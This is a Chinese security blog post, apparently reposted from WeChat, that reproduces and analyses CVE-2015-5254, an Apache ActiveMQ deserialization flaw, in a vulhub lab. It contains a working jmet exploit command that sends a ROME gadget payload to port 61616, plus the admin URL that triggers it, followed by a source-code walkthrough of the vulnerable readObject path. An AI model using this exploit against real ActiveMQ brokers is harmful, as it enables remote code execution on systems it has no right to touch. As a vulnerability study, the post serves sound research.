点击上方蓝字关注我
引言
Java 消息服务(Java Message Service,JMS)应用程序接口是一个Java 平台中关于面向消息中间件(MOM)的API,用于在两个应用程序之间,或分布式系统中发送消息,进行异步通信。
其中,pache ActiveMQ就是一个比较有代表性的产品
pache ActiveMQ是美国阿帕奇(Apache)软件基金会所研发的一套开源的消息中间件,它支持Java消息服务、集群、Spring Framework等。
Apache ActiveMQ 5.13.0之前5.x版本中存在安全漏洞,该漏洞源于程序没有限制可在代理中序列化的类。远程攻击者可借助特制的序列化的Java Message Service(JMS)ObjectMessage对象利用该漏洞执行任意代码。
一个很经典的洞,不过网上几乎没有分析资料,我就靠着自己的理解和blackhat关于jms漏洞分享写了一下
如果有问题请大佬赐教。
利用
漏洞靶机搭建
P牛的vulhub有,可以拿来直接搭建看看
https://vulhub.org/
此外P牛给了个2016 blackhat的有关链接,这个挺重要的,网上关于这个漏洞没有比它更详细的了
https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf
道明了其漏洞的本质就是未经过滤或者识别就接收数据进行反序列化
直接一键搭建
环境运行后,将监听61616和8161两个端口。其中61616是工作端口,消息在这个端口进行传递;8161是Web管理页面端口。访问http://your-ip:8161即可看到web管理页面,不过这个漏洞理论上是不需要web的。
下面我们开始利用
构造对象发送给目标61616端口
java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "touch /tmp/success" -Yp ROME your-ip 61616
有个报错,还好不致命
访问web管理页面,读取消息触发漏洞
访问ip:8161/admin/browse.jsp?JMSDestination=event
点进去看看
下面我们验证下是否成功
分析
大致思路
触发点在读取message的时候,我们只需找到这个功能的实现,再分析反序列化利用链即可
下载源码
5.11.1以前都有漏洞,那我就找一个5.10版本的
https://archive.apache.org/dist/activemq/5.10.0/activemq-parent-5.10.0-source-release.zip
用IDEA打开下载并用maven插件下载依赖
时间挺长,耐心等待,不过由于年代久远,好多依赖都没办法取得,报错一大堆
这个时间我觉得没必要浪费,只能光看代码了
寻找入口
我们找到触发地址
找到反序列化后的内容展示代碼
<th>
Message Details
</th>
</tr>
</thead>
<tbody>
<tr>
<td><div class="message"><pre class="prettyprint"><c:out value="${requestContext.messageQuery.body}"/></pre></div></td>
</tr>
${requestContext.messageQuery.body} 就是我们的线索
下面我们向上找到类MessageQuery.java
然后找到getbody的方法
public Object getBody() throws JMSException {
Message message = getMessage();
if (message instanceof TextMessage) {
return ((TextMessage) message).getText();
}
if (message instanceof ObjectMessage) {
try {
return ((ObjectMessage) message).getObject();
//如果消息是一个 ObjectMessage 对象,它会尝试调用 getObject() 方法获取对象内容
//并将其作为结果返回。
} catch (JMSException e) {
//message could not be parsed, make the reason available
return e;
}
//如果在获取对象时发生 JMSException 异常,它会捕获该异常,并将异常对象作为结果返回
//以便你可以了解发生异常的原因。
}
找到反序列化点
maven输入命令得到源代码,方便我们分析
mvn dependency:resolve -Dclassifier=sources
进入ObjectMessage
大道至简,一个set,一个get
先是set部分
先看谁实现了这个接口
我们进去看看
/**
* Sets the serializable object containing this message's data. It is
* important to note that an ObjectMessage contains a
* snapshot of the object at the time setObject() is called;
* subsequent modifications of the object will have no effect on the
* ObjectMessage body.
*
* @param newObject the message's data
* @throws JMSException if the JMS provider fails to set the object due to
* some internal error.
* @throws javax.jms.MessageFormatException if object serialization fails.
* @throws javax.jms.MessageNotWriteableException if the message is in
* read-only mode.
*/
public void setObject(Serializable newObject) throws JMSException {
checkReadOnlyBody();
this.object = newObject;
setContent(null);
ActiveMQConnection connection = getConnection();
if (connection == null || !connection.isObjectMessageSerializationDefered()) {
storeContent();
//存储
}
}
//用于设置消息对象的序列化数据
这个不是很重要
我们往下看
找到
public void send(String payload) throws Exception {
ObjectMessage message = session.createObjectMessage();
message.setObject(payload);
producer.send(message);
if (session.getTransacted()) {
session.commit();
}
}
有两点
·通过调用 message.setObject(payload) 方法。payload设置为消息对象的内容
·然后,使用 producer.send(message) 方法将消息发送出去
发送出去后必然就得接受,我们找到接收点
下面是简单接收文本的实例
我们从接口也能略知一二
大致就是服务器建立监听,接收数据
不过,发送给服务器,服务器并不会自动反序列化,我们接着往下看
再看get部分
老办法,先看实现
public Serializable getObject() throws JMSException {
if (object == null && getContent() != null) {
try {
ByteSequence content = getContent();
//这里的content是setObject的storeContent方法存储的
InputStream is = new ByteArrayInputStream(content);
if (isCompressed()) {
is = new InflaterInputStream(is);
}
DataInputStream dataIn = new DataInputStream(is);
ClassLoadingAwareObjectInputStream objIn = new ClassLoadingAwareObjectInputStream(dataIn);
try {
object = (Serializable)objIn.readObject();
//!!将接收的数据进行反序列化并且触发漏洞!!
} catch (ClassNotFoundException ce) {
throw JMSExceptionSupport.create("Failed to build body from content. Serializable class not available to broker. Reason: " + ce, ce);
} finally {
dataIn.close();
}
} catch (IOException e) {
throw JMSExceptionSupport.create("Failed to build body from bytes. Reason: " + e, e);
}
}
return this.object;
}
//显然,其执行反序列化过程来获取对象,触发漏洞
那么怎么触发getObject呢?
我们回想之前的getbody方法
return ((ObjectMessage) message).getObject();
那么利用链就逐渐清晰了
总结
至于payload可以了解下ROME攻击链
总的来说,学习java的路还任重道远,继续努力。
原文始发于微信公众号(Zacarx随笔):CVE-2015-5254利用与分析
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论